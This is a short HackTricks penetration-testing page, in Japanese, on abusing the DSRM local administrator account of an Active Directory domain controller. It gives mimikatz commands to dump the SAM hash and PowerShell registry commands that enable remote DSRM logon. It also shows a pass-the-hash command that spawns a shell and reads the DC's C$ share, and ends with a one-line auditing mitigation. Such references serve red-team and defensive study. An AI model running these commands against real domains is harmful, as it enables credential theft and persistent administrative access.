DSRM Credentials

Support HackTricks

DSRM Credentials

DC 内には ローカル管理者 アカウントがあります。このマシンで管理者権限を持っている場合、mimikatz を使用して ローカル管理者ハッシュをダンプ できます。その後、レジストリを変更して このパスワードを有効化 し、リモートでこのローカル管理者ユーザーにアクセスできるようにします。 まず、DC 内の ローカル管理者 ユーザーの ハッシュダンプ する必要があります:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

次に、そのアカウントが機能するかどうかを確認し、レジストリキーが値「0」であるか存在しない場合は、「2」に設定する必要があります:

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"

その後、PTHを使用してC$の内容をリストしたり、シェルを取得したりできます。そのハッシュをメモリ内で使用して新しいPowerShellセッションを作成する際に(PTH用)、使用される「ドメイン」はDCマシンの名前だけです:

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$

More info about this in: https://adsecurity.org/?p=1714 and https://adsecurity.org/?p=1785

Mitigation

  • イベント ID 4657 - HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior の監査作成/変更

Support HackTricks

Last updated